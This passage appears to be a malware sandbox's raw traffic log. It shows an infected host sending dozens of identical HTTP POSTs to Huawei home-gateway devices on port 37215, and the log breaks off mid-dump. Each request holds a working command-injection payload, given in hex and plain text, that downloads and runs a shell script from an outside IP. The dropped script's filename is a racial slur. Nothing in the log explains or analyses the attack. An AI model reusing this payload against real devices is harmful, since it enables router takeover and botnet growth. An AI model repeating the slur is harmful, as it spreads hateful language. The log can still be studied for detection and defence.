3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.15	42534	94.120.34.202	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:46.838602066 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.15	56116	94.122.118.244	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:46.840015888 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.15	38746	94.123.127.137	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:46.844373941 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.15	49278	94.120.34.5	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:46.844489098 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.15	58316	37.72.243.111	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:49.395678997 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.15	47242	156.247.20.236	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:49.859220982 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:51.362538099 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:53.154443979 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:56.738349915 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 